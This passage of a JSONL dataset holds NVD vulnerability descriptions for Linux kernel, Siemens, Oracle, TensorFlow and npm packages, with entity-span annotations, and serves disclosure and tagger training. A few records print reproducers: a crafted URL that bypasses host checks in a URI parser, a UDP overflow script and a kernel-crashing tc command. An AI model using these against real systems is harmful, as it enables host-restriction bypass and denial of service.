lib/dump_stack.c:106\n print_address_description mm/kasan/report.c:284 [inline]\n print_report+0x14f/0x750 mm/kasan/report.c:395\n kasan_report+0x139/0x170 mm/kasan/report.c:495\n validate_nla lib/nlattr.c:388 [inline]\n __nla_validate_parse+0x19d7/0x29a0 lib/nlattr.c:603\n __nla_parse+0x3c/0x50 lib/nlattr.c:700\n nla_parse_nested_deprecated include/net/netlink.h:1269 [inline]\n __rtnl_newlink net/core/rtnetlink.c:3514 [inline]\n rtnl_newlink+0x7bc/0x1fd0 net/core/rtnetlink.c:3623\n rtnetlink_rcv_msg+0x794/0xef0 net/core/rtnetlink.c:6122\n netlink_rcv_skb+0x1de/0x420 net/netlink/af_netlink.c:2508\n netlink_unicast_kernel net/netlink/af_netlink.c:1326 [inline]\n netlink_unicast+0x74b/0x8c0 net/netlink/af_netlink.c:1352\n netlink_sendmsg+0x882/0xb90 net/netlink/af_netlink.c:1874\n sock_sendmsg_nosec net/socket.c:716 [inline]\n __sock_sendmsg net/socket.c:728 [inline]\n ____sys_sendmsg+0x5cc/0x8f0 net/socket.c:2499\n ___sys_sendmsg+0x21c/0x290 net/socket.c:2553\n __sys_sendmsg net/socket.c:2582 [inline]\n __do_sys_sendmsg net/socket.c:2591 [inline]\n __se_sys_sendmsg+0x19e/0x270 net/socket.c:2589\n do_syscall_x64 arch/x86/entry/common.c:51 [inline]\n do_syscall_64+0x45/0x90 arch/x86/entry/common.c:81\n entry_SYSCALL_64_after_hwframe+0x63/0xcd\nRIP: 0033:0x7f67b19a24ad\nRSP: 002b:00007f67b17febb8 EFLAGS: 00000246 ORIG_RAX: 000000000000002e\nRAX: ffffffffffffffda RBX: 00007f67b1b45f80 RCX: 00007f67b19a24ad\nRDX: 0000000000000000 RSI: 0000000020005e40 RDI: 0000000000000004\nRBP: 00007f67b1a1e01d R08: 0000000000000000 R09: 0000000000000000\nR10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000000\nR13: 00007ffd2513764f R14: 00007ffd251376e0 R15: 00007f67b17fed40\n </TASK>\n\nThe buggy address belongs to the variable:\n wwan_rtnl_policy+0x20/0x40\n\nThe buggy address belongs to the physical page:\npage:ffffea00002c2700 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xb09c\nflags: 0xfff00000001000(reserved|node=0|zone=1|lastcpupid=0x7ff)\nraw: 00fff00000001000 ffffea00002c2708 ffffea00002c2708 0000000000000000\nraw: 0000000000000000 0000000000000000 00000001ffffffff 0000000000000000\npage dumped because: kasan: bad access detected\npage_owner info is not present (never set?)\n\nMemory state around the buggy address:\n ffffffff8b09ca00: 05 f9 f9 f9 05 f9 f9 f9 00 01 f9 f9 00 01 f9 f9\n ffffffff8b09ca80: 00 00 00 05 f9 f9 f9 f9 00 00 03 f9 f9 f9 f9 f9\n>ffffffff8b09cb00: 00 00 00 00 05 f9 f9 f9 00 00 00 00 f9 f9 f9 f9\n                                                       ^\n ffffffff8b09cb80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n==================================================================\n\nAccording to the comment of `nla_parse_nested_deprecated`, use correct size\n`IFLA_WWAN_MAX` here to fix this issue.", "spans": {"FILEPATH: /01/2014": [[813, 821]], "FILEPATH: /kasan/report.c": [[963, 978], [1020, 1035], [1068, 1083]], "FILEPATH: /net/netlink.h": [[1257, 1271]], "FILEPATH: /core/rtnetlink.c": [[1305, 1322], [1367, 1384], [1424, 1441]], "FILEPATH: /netlink/af_netlink.c": [[1479, 1500], [1533, 1554], [1601, 1622], [1660, 1681]], "FILEPATH: /x86/entry/common.c": [[2023, 2042], [2084, 2103]], "FILEPATH: nlattr.c": [[496, 504], [593, 601], [1106, 1114], [1168, 1176], [1208, 1216]], "FILEPATH: dump_stack.c": [[860, 872], [917, 929]], "FILEPATH: socket.c": [[1711, 1719], [1753, 1761], [1808, 1816], [1854, 1862], [1887, 1895], [1932, 1940], [1989, 1997]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[748, 752]], "VULNERABILITY: out-of-bounds read": [[198, 216]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-50128"}}
{"text": "A vulnerability has been identified in Opcenter Execution Discrete (All versions < V3.2), Opcenter Execution Foundation (All versions < V3.2), Opcenter Execution Process (All versions < V3.2), Opcenter Intelligence (All versions < V3.3), Opcenter Quality (All versions < V11.3), Opcenter RD&L (V8.0), SIMATIC IT LMS (All versions < V2.6), SIMATIC IT Production Suite (All versions < V8.0), SIMATIC Notifier Server for Windows (All versions), SIMATIC PCS neo (All versions < V3.0 SP1), SIMATIC STEP 7 (TIA Portal) V15 (All versions < V15.1 Update 5), SIMATIC STEP 7 (TIA Portal) V16 (All versions < V16 Update 2), SIMOCODE ES V15.1 (All versions < V15.1 Update 4), SIMOCODE ES V16 (All versions < V16 Update 1), Soft Starter ES V15.1 (All versions < V15.1 Update 3), Soft Starter ES V16 (All versions < V16 Update 1). Sending multiple specially crafted packets to the affected service could cause a partial remote denial-of-service, that would cause the service to restart itself. On some cases the vulnerability could leak random information from the remote service.", "spans": {"SYSTEM: Windows": [[418, 425]], "SYSTEM: V8": [[294, 296], [383, 385]], "VULNERABILITY: denial-of-service": [[913, 930]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-7587"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: Fix cleanup null-ptr deref on encap lock\n\nDuring module is unloaded while a peer tc flow is still offloaded,\nfirst the peer uplink rep profile is changed to a nic profile, and so\nneigh encap lock is destroyed. Next during unload, the VF reps netdevs\nare unregistered which causes the original non-peer tc flow to be deleted,\nwhich deletes the peer flow. The peer flow deletion detaches the encap\nentry and try to take the already destroyed encap lock, causing the\nbelow trace.\n\nFix this by clearing peer flows during tc eswitch cleanup\n(mlx5e_tc_esw_cleanup()).\n\nRelevant trace:\n[ 4316.837128] BUG: kernel NULL pointer dereference, address: 00000000000001d8\n[ 4316.842239] RIP: 0010:__mutex_lock+0xb5/0xc40\n[ 4316.851897] Call Trace:\n[ 4316.852481]  <TASK>\n[ 4316.857214]  mlx5e_rep_neigh_entry_release+0x93/0x790 [mlx5_core]\n[ 4316.858258]  mlx5e_rep_encap_entry_detach+0xa7/0xf0 [mlx5_core]\n[ 4316.859134]  mlx5e_encap_dealloc+0xa3/0xf0 [mlx5_core]\n[ 4316.859867]  clean_encap_dests.part.0+0x5c/0xe0 [mlx5_core]\n[ 4316.860605]  mlx5e_tc_del_fdb_flow+0x32a/0x810 [mlx5_core]\n[ 4316.862609]  __mlx5e_tc_del_fdb_peer_flow+0x1a2/0x250 [mlx5_core]\n[ 4316.863394]  mlx5e_tc_del_flow+0x(/0x630 [mlx5_core]\n[ 4316.864090]  mlx5e_flow_put+0x5f/0x100 [mlx5_core]\n[ 4316.864771]  mlx5e_delete_flower+0x4de/0xa40 [mlx5_core]\n[ 4316.865486]  tc_setup_cb_reoffload+0x20/0x80\n[ 4316.865905]  fl_reoffload+0x47c/0x510 [cls_flower]\n[ 4316.869181]  tcf_block_playback_offloads+0x91/0x1d0\n[ 4316.869649]  tcf_block_unbind+0xe7/0x1b0\n[ 4316.870049]  tcf_block_offload_cmd.isra.0+0x1ee/0x270\n[ 4316.879266]  tcf_block_offload_unbind+0x61/0xa0\n[ 4316.879711]  __tcf_block_put+0xa4/0x310", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[686, 710]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53105"}}
{"text": "Vulnerability in the Oracle Financial Services Data Foundation product of Oracle Financial Services Applications (component: User Interface). Supported versions that are affected are 8.0.6 - 8.0.9. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Financial Services Data Foundation. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Financial Services Data Foundation accessible data as well as unauthorized read access to a subset of Oracle Financial Services Data Foundation accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [74, 80], [305, 311], [482, 488], [591, 597]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2964"}}
{"text": "color is a Javascript color conversion and manipulation library. On 8 September 2025, the npm publishing account for color was taken over after a phishing attack. Version 5.0.1 was published, functionally identical to the previous patch version, but with a malware payload added attempting to redirect cryptocurrency transactions to the attacker's own addresses from within browser environments. Local environments, server environments, command line applications, etc. are not affected. If the package was used in a browser context (e.g. a direct <script> inclusion, or via a bundling tool such as Babel, Rollup, Vite, Next.js, etc.) there is a chance the malware still exists and such bundles will need to be rebuilt. The malware seemingly only targets cryptocurrency transactions and wallets such as MetaMask. npm removed the offending package from the registry over the course of the day on 8 September, preventing further downloads from npm proper. On 13 September, the package owner published new patch versions to help cache-bust those using private registries who might still have the compromised version cached. Users should update to the latest patch version, completely remove their node_modules directory, clean their package manager's global cache, and rebuild any browser bundles from scratch. Those operating private registries or registry mirrors should purge the offending versions from any caches. This issues has been resolved in 5.0.2.", "spans": {"FILEPATH: Next.js": [[619, 626]], "ORGANIZATION: npm": [[90, 93], [812, 815], [941, 944]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-59143"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nclk: meson: Add missing clocks to axg_clk_regmaps\n\nSome clocks were missing from axg_clk_regmaps, which caused kernel panic\nduring cat /sys/kernel/debug/clk/clk_summary\n\n[   57.349402] Unable to handle kernel NULL pointer dereference at virtual address 00000000000001fc\n...\n[   57.430002] pstate: 60000005 (nZCv daif -PAN -UAO -TCO -DIT -SSBS BTYPE=--)\n[   57.436900] pc : regmap_read+0x1c/0x88\n[   57.440608] lr : clk_regmap_gate_is_enabled+0x3c/0xb0\n[   57.445611] sp : ffff800082f1b690\n[   57.448888] x29: ffff800082f1b690 x28: 0000000000000000 x27: ffff800080eb9a70\n[   57.455961] x26: 0000000000000007 x25: 0000000000000016 x24: 0000000000000000\n[   57.463033] x23: ffff800080e8b488 x22: 0000000000000015 x21: ffff00000e7e7000\n[   57.470106] x20: ffff00000400ec00 x19: 0000000000000000 x18: ffffffffffffffff\n[   57.477178] x17: 0000000000000000 x16: 0000000000000000 x15: ffff0000042a3000\n[   57.484251] x14: 0000000000000000 x13: ffff0000042a2fec x12: 0000000005f5e100\n[   57.491323] x11: abcc77118461cefd x10: 0000000000000020 x9 : ffff8000805e4b24\n[   57.498396] x8 : ffff0000028063c0 x7 : ffff800082f1b710 x6 : ffff800082f1b710\n[   57.505468] x5 : 00000000ffffffd0 x4 : ffff800082f1b6e0 x3 : 0000000000001000\n[   57.512541] x2 : ffff800082f1b6e4 x1 : 000000000000012c x0 : 0000000000000000\n[   57.519615] Call trace:\n[   57.522030]  regmap_read+0x1c/0x88\n[   57.525393]  clk_regmap_gate_is_enabled+0x3c/0xb0\n[   57.530050]  clk_core_is_enabled+0x44/0x120\n[   57.534190]  clk_summary_show_subtree+0x154/0x2f0\n[   57.538847]  clk_summary_show_subtree+0x220/0x2f0\n[   57.543505]  clk_summary_show_subtree+0x220/0x2f0\n[   57.548162]  clk_summary_show_subtree+0x220/0x2f0\n[   57.552820]  clk_summary_show_subtree+0x220/0x2f0\n[   57.557477]  clk_summary_show_subtree+0x220/0x2f0\n[   57.562135]  clk_summary_show_subtree+0x220/0x2f0\n[   57.566792]  clk_summary_show_subtree+0x220/0x2f0\n[   57.571450]  clk_summary_show+0x84/0xb8\n[   57.575245]  seq_read_iter+0x1bc/0x4b8\n[   57.578954]  seq_read+0x8c/0xd0\n[   57.582059]  full_proxy_read+0x68/0xc8\n[   57.585767]  vfs_read+0xb0/0x268\n[   57.588959]  ksys_read+0x70/0x108\n[   57.592236]  __arm64_sys_read+0x24/0x38\n[   57.596031]  invoke_syscall+0x50/0x128\n[   57.599740]  el0_svc_common.constprop.0+0x48/0xf8\n[   57.604397]  do_el0_svc+0x28/0x40\n[   57.607675]  el0_svc+0x34/0xb8\n[   57.610694]  el0t_64_sync_handler+0x13c/0x158\n[   57.615006]  el0t_64_sync+0x190/0x198\n[   57.618635] Code: a9bd7bfd 910003fd a90153f3 aa0003f3 (b941fc00)\n[   57.624668] ---[ end trace 0000000000000000 ]---\n\n[jbrunet: add missing Fixes tag]", "spans": {"FILEPATH: /sys/kernel/debug/clk/clk_summary": [[204, 237]], "SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: NULL pointer dereference": [[278, 302]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26879"}}
{"text": "lambdaisland/uri is a pure Clojure/ClojureScript URI library. In versions prior to 1.14.120 `authority-regex` allows an attacker to send malicious URLs to be parsed by the `lambdaisland/uri` and return the wrong authority. This issue is similar to but distinct from CVE-2020-8910. The regex in question doesn't handle the backslash (`\\`) character in the username correctly, leading to a wrong output. ex. a payload of `https://example.com\\\\@google.com` would return that the host is `google.com`, but the correct host should be `example.com`. Given that the library returns the wrong authority this may be abused to bypass host restrictions depending on how the library is used in an application. Users are advised to upgrade. There are no known workarounds for this vulnerability.", "spans": {"CVE_ID: CVE-2020-8910": [[266, 279]], "URL: https://example.com\\\\@google.com`": [[420, 453]], "DOMAIN: google.com": [[485, 495]], "DOMAIN: example.com": [[530, 541]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-28628"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nice: track AF_XDP ZC enabled queues in bitmap\n\nCommit c7a219048e45 (\"ice: Remove xsk_buff_pool from VSI structure\")\nsilently introduced a regression and broke the Tx side of AF_XDP in copy\nmode. xsk_pool on ice_ring is set only based on the existence of the XDP\nprog on the VSI which in turn picks ice_clean_tx_irq_zc to be executed.\nThat is not something that should happen for copy mode as it should use\nthe regular data path ice_clean_tx_irq.\n\nThis results in a following splat when xdpsock is run in txonly or l2fwd\nscenarios in copy mode:\n\n<snip>\n[  106.050195] BUG: kernel NULL pointer dereference, address: 0000000000000030\n[  106.057269] #PF: supervisor read access in kernel mode\n[  106.062493] #PF: error_code(0x0000) - not-present page\n[  106.067709] PGD 0 P4D 0\n[  106.070293] Oops: 0000 [#1] PREEMPT SMP NOPTI\n[  106.074721] CPU: 61 PID: 0 Comm: swapper/61 Not tainted 5.12.0-rc2+ #45\n[  106.081436] Hardware name: Intel Corporation S2600WFT/S2600WFT, BIOS SE5C620.86B.02.01.0008.031920191559 03/19/2019\n[  106.092027] RIP: 0010:xp_raw_get_dma+0x36/0x50\n[  106.096551] Code: 74 14 48 b8 ff ff ff ff ff ff 00 00 48 21 f0 48 c1 ee 30 48 01 c6 48 8b 87 90 00 00 00 48 89 f2 81 e6 ff 0f 00 00 48 c1 ea 0c <48> 8b 04 d0 48 83 e0 fe 48 01 f0 c3 66 66 2e 0f 1f 84 00 00 00 00\n[  106.115588] RSP: 0018:ffffc9000d694e50 EFLAGS: 00010206\n[  106.120893] RAX: 0000000000000000 RBX: ffff88984b8c8a00 RCX: ffff889852581800\n[  106.128137] RDX: 0000000000000006 RSI: 0000000000000000 RDI: ffff88984cd8b800\n[  106.135383] RBP: ffff888123b50001 R08: ffff889896800000 R09: 0000000000000800\n[  106.142628] R10: 0000000000000000 R11: ffffffff826060c0 R12: 00000000000000ff\n[  106.149872] R13: 0000000000000000 R14: 0000000000000040 R15: ffff888123b50018\n[  106.157117] FS:  0000000000000000(0000) GS:ffff8897e0f40000(0000) knlGS:0000000000000000\n[  106.165332] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  106.171163] CR2: 0000000000000030 CR3: 000000000560a004 CR4: 00000000007706e0\n[  106.178408] DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\n[  106.185653] DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\n[  106.192898] PKRU: 55555554\n[  106.195653] Call Trace:\n[  106.198143]  <IRQ>\n[  106.200196]  ice_clean_tx_irq_zc+0x183/0x2a0 [ice]\n[  106.205087]  ice_napi_poll+0x3e/0x590 [ice]\n[  106.209356]  __napi_poll+0x2a/0x160\n[  106.212911]  net_rx_action+0xd6/0x200\n[  106.216634]  __do_softirq+0xbf/0x29b\n[  106.220274]  irq_exit_rcu+0x88/0xc0\n[  106.223819]  common_interrupt+0x7b/0xa0\n[  106.227719]  </IRQ>\n[  106.229857]  asm_common_interrupt+0x1e/0x40\n</snip>\n\nFix this by introducing the bitmap of queues that are zero-copy enabled,\nwhere each bit, corresponding to a queue id that xsk pool is being\nconfigured on, will be set/cleared within ice_xsk_pool_{en,dis}able and\nchecked within ice_xsk_pool(). The latter is a function used for\ndeciding which napi poll routine is executed.\nIdea is being taken from our other drivers such as i40e and ixgbe.", "spans": {"FILEPATH: /19/2019": [[1077, 1085]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Intel": [[997, 1002]], "VULNERABILITY: NULL pointer dereference": [[648, 672]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47127"}}
{"text": "TensorFlow is an end-to-end open source platform for machine learning. An attacker can cause a denial of service by controlling the values of `num_segments` tensor argument for `UnsortedSegmentJoin`. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/a2a607db15c7cd01d754d37e5448d72a13491bdb/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L93) assumes that the `num_segments` tensor is a valid scalar. Since the tensor is empty the `CHECK` involved in `.scalar<T>()()` that checks that the number of elements is exactly 1 will be invalidated and this would result in process termination. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.", "spans": {"URL: https://github.com/tensorflow/tensorflow/blob/a2a607db15c7cd01d754d37e5448d72a13491bdb/tensorflow/core/kernels/unsorted_segment_join_op.cc#L92-L93": [[235, 381]], "VULNERABILITY: denial of service": [[95, 112]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-29552"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet: enetc: deny offload of tc-based TSN features on VF interfaces\n\nTSN features on the ENETC (taprio, cbs, gate, police) are configured\nthrough a mix of command BD ring messages and port registers:\nenetc_port_rd(), enetc_port_wr().\n\nPort registers are a region of the ENETC memory map which are only\naccessible from the PCIe Physical Function. They are not accessible from\nthe Virtual Functions.\n\nMoreover, attempting to access these registers crashes the kernel:\n\n$ echo 1 > /sys/bus/pci/devices/0000\\:00\\:00.0/sriov_numvfs\npci 0000:00:01.0: [1957:ef00] type 00 class 0x020001\nfsl_enetc_vf 0000:00:01.0: Adding to iommu group 15\nfsl_enetc_vf 0000:00:01.0: enabling device (0000 -> 0002)\nfsl_enetc_vf 0000:00:01.0 eno0vf0: renamed from eth0\n$ tc qdisc replace dev eno0vf0 root taprio num_tc 8 map 0 1 2 3 4 5 6 7 \\\n\tqueues 1@0 1@1 1@2 1@3 1@4 1@5 1@6 1@7 base-time 0 \\\n\tsched-entry S 0x7f 900000 sched-entry S 0x80 100000 flags 0x2\nUnable to handle kernel paging request at virtual address ffff800009551a08\nInternal error: Oops: 96000007 [#1] PREEMPT SMP\npc : enetc_setup_tc_taprio+0x170/0x47c\nlr : enetc_setup_tc_taprio+0x16c/0x47c\nCall trace:\n enetc_setup_tc_taprio+0x170/0x47c\n enetc_setup_tc+0x38/0x2dc\n taprio_change+0x43c/0x970\n taprio_init+0x188/0x1e0\n qdisc_create+0x114/0x470\n tc_modify_qdisc+0x1fc/0x6c0\n rtnetlink_rcv_msg+0x12c/0x390\n\nSplit enetc_setup_tc() into separate functions for the PF and for the\nVF drivers. Also remove enetc_qos.o from being included into\nenetc-vf.ko, since it serves absolutely no purpose there.", "spans": {"FILEPATH: /sys/bus/pci/devices/0000": [[546, 571]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-48645"}}
{"text": "A vulnerability has been identified in SIPROTEC 5 6MD84 (CP300) (All versions < V9.80), SIPROTEC 5 6MD85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 6MD86 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 6MD89 (CP300) (All versions >= V7.80 < V9.68), SIPROTEC 5 6MU85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7KE85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SA82 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7SA82 (CP150) (All versions < V9.80), SIPROTEC 5 7SA86 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SA87 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SD82 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7SD82 (CP150) (All versions < V9.80), SIPROTEC 5 7SD86 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SD87 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SJ81 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7SJ81 (CP150) (All versions < V9.80), SIPROTEC 5 7SJ82 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7SJ82 (CP150) (All versions < V9.80), SIPROTEC 5 7SJ85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SJ86 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SK82 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7SK82 (CP150) (All versions < V9.80), SIPROTEC 5 7SK85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SL82 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7SL82 (CP150) (All versions < V9.80), SIPROTEC 5 7SL86 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SL87 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7SS85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7ST85 (CP300) (All versions < V9.68), SIPROTEC 5 7ST86 (CP300) (All versions < V9.80), SIPROTEC 5 7SX82 (CP150) (All versions < V9.80), SIPROTEC 5 7SX85 (CP300) (All versions < V9.80), SIPROTEC 5 7SY82 (CP150) (All versions < V9.80), SIPROTEC 5 7UM85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7UT82 (CP100) (All versions >= V7.80 < V8.90), SIPROTEC 5 7UT82 (CP150) (All versions < V9.80), SIPROTEC 5 7UT85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7UT86 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7UT87 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7VE85 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7VK87 (CP300) (All versions >= V7.80 < V9.80), SIPROTEC 5 7VU85 (CP300) (All versions < V9.80), SIPROTEC 5 Compact 7SX800 (CP050) (All versions < V9.80). Affected devices do not properly limit the path accessible via their webserver.  This could allow an authenticated remote attacker to read arbitrary files from the filesystem of affected devices.", "spans": {"SYSTEM: V8": [[428, 430], [651, 653], [874, 876], [981, 983], [1204, 1206], [1369, 1371], [1953, 1955]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-53649"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\npowerpc/kasan: Fix early region not updated correctly\n\nThe shadow's page table is not updated when PTE_RPN_SHIFT is 24\nand PAGE_SHIFT is 12. It not only causes false positives but\nalso false negative as shown the following text.\n\nFix it by bringing the logic of kasan_early_shadow_page_entry here.\n\n1. False Positive:\n==================================================================\nBUG: KASAN: vmalloc-out-of-bounds in pcpu_alloc+0x508/0xa50\nWrite of size 16 at addr f57f3be0 by task swapper/0/1\n\nCPU: 0 PID: 1 Comm: swapper/0 Not tainted 5.15.0-12267-gdebe436e77c7 #1\nCall Trace:\n[c80d1c20] [c07fe7b8] dump_stack_lvl+0x4c/0x6c (unreliable)\n[c80d1c40] [c02ff668] print_address_description.constprop.0+0x88/0x300\n[c80d1c70] [c02ff45c] kasan_report+0x1ec/0x200\n[c80d1cb0] [c0300b20] kasan_check_range+0x160/0x2f0\n[c80d1cc0] [c03018a4] memset+0x34/0x90\n[c80d1ce0] [c0280108] pcpu_alloc+0x508/0xa50\n[c80d1d40] [c02fd7bc] __kmem_cache_create+0xfc/0x570\n[c80d1d70] [c0283d64] kmem_cache_create_usercopy+0x274/0x3e0\n[c80d1db0] [c2036580] init_sd+0xc4/0x1d0\n[c80d1de0] [c00044a0] do_one_initcall+0xc0/0x33c\n[c80d1eb0] [c2001624] kernel_init_freeable+0x2c8/0x384\n[c80d1ef0] [c0004b14] kernel_init+0x24/0x170\n[c80d1f10] [c001b26c] ret_from_kernel_thread+0x5c/0x64\n\nMemory state around the buggy address:\n f57f3a80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n f57f3b00: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n>f57f3b80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n                                               ^\n f57f3c00: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n f57f3c80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n==================================================================\n\n2. False Negative (with KASAN tests):\n==================================================================\nBefore fix:\n    ok 45 - kmalloc_double_kzfree\n    # vmalloc_oob: EXPECTATION FAILED at lib/test_kasan.c:1039\n    KASAN failure expected in \"((volatile char *)area)[3100]\", but none occurred\n    not ok 46 - vmalloc_oob\n    not ok 1 - kasan\n\n==================================================================\nAfter fix:\n    ok 1 - kasan", "spans": {"FILEPATH: /0/1": [[563, 567]], "FILEPATH: test_kasan.c": [[1974, 1986]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2021-47640"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nudp: Fix memory accounting leak.\n\nMatt Dowling reported a weird UDP memory usage issue.\n\nUnder normal operation, the UDP memory usage reported in /proc/net/sockstat\nremains close to zero.  However, it occasionally spiked to 524,288 pages\nand never dropped.  Moreover, the value doubled when the application was\nterminated.  Finally, it caused intermittent packet drops.\n\nWe can reproduce the issue with the script below [0]:\n\n  1. /proc/net/sockstat reports 0 pages\n\n    # cat /proc/net/sockstat | grep UDP:\n    UDP: inuse 1 mem 0\n\n  2. Run the script till the report reaches 524,288\n\n    # python3 test.py & sleep 5\n    # cat /proc/net/sockstat | grep UDP:\n    UDP: inuse 3 mem 524288  <-- (INT_MAX + 1) >> PAGE_SHIFT\n\n  3. Kill the socket and confirm the number never drops\n\n    # pkill python3 && sleep 5\n    # cat /proc/net/sockstat | grep UDP:\n    UDP: inuse 1 mem 524288\n\n  4. (necessary since v6.0) Trigger proto_memory_pcpu_drain()\n\n    # python3 test.py & sleep 1 && pkill python3\n\n  5. The number doubles\n\n    # cat /proc/net/sockstat | grep UDP:\n    UDP: inuse 1 mem 1048577\n\nThe application set INT_MAX to SO_RCVBUF, which triggered an integer\noverflow in udp_rmem_release().\n\nWhen a socket is close()d, udp_destruct_common() purges its receive\nqueue and sums up skb->truesize in the queue.  This total is calculated\nand stored in a local unsigned integer variable.\n\nThe total size is then passed to udp_rmem_release() to adjust memory\naccounting.  However, because the function takes a signed integer\nargument, the total size can wrap around, causing an overflow.\n\nThen, the released amount is calculated as follows:\n\n  1) Add size to sk->sk_forward_alloc.\n  2) Round down sk->sk_forward_alloc to the nearest lower multiple of\n      PAGE_SIZE and assign it to amount.\n  3) Subtract amount from sk->sk_forward_alloc.\n  4) Pass amount >> PAGE_SHIFT to __sk_mem_reduce_allocated().\n\nWhen the issue occurred, the total in udp_destruct_common() was 2147484480\n(INT_MAX + 833), which was cast to -2147482816 in udp_rmem_release().\n\nAt 1) sk->sk_forward_alloc is changed from 3264 to -2147479552, and\n2) sets -2147479552 to amount.  3) reverts the wraparound, so we don't\nsee a warning in inet_sock_destruct().  However, udp_memory_allocated\nends up doubling at 4).\n\nSince commit 3cd3399dd7a8 (\"net: implement per-cpu reserves for\nmemory_allocated\"), memory usage no longer doubles immediately after\na socket is close()d because __sk_mem_reduce_allocated() caches the\namount in udp_memory_per_cpu_fw_alloc.  However, the next time a UDP\nsocket receives a packet, the subtraction takes effect, causing UDP\nmemory usage to double.\n\nThis issue makes further memory allocation fail once the socket's\nsk->sk_rmem_alloc exceeds net.ipv4.udp_rmem_min, resulting in packet\ndrops.\n\nTo prevent this issue, let's use unsigned int for the calculation and\ncall sk_forward_alloc_add() only once for the small delta.\n\nNote that first_packet_length() also potentially has the same problem.\n\n[0]:\nfrom socket import *\n\nSO_RCVBUFFORCE = 33\nINT_MAX = (2 ** 31) - 1\n\ns = socket(AF_INET, SOCK_DGRAM)\ns.bind(('', 0))\ns.setsockopt(SOL_SOCKET, SO_RCVBUFFORCE, INT_MAX)\n\nc = socket(AF_INET, SOCK_DGRAM)\nc.connect(s.getsockname())\n\ndata = b'a' * 100\n\nwhile True:\n    c.send(data)", "spans": {"FILEPATH: /proc/net/sockstat": [[215, 233], [500, 518], [546, 564], [696, 714], [887, 905], [1095, 1113]], "FILEPATH: test.py": [[668, 675], [1024, 1031]], "SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-22058"}}
